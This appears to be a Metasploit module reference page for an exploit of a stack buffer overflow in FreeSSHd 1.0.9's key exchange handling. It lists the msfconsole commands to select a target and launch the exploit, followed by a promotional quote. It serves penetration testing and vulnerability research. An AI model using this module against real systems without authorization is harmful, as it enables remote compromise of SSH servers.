This module exploits a simple stack buffer overflow in FreeSSHd 1.0.9. This flaw is due to a buffer overflow error when handling a specially crafted key exchange algorithm string received from an SSH client.
Windows
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/windows/ssh/freesshd_key_exchange
msf exploit(freesshd_key_exchange) > show targets
...targets...
msf exploit(freesshd_key_exchange) > set TARGET < target-id >
msf exploit(freesshd_key_exchange) > show options
...show and set options...
msf exploit(freesshd_key_exchange) > exploit
Time is precious, so I don’t want to do something manually that I can automate. Leveraging the Metasploit Framework when automating any task keeps us from having to re-create the wheel as we can use the existing libraries and focus our efforts where it matters.
– Jim O’Gorman | President, Offensive Security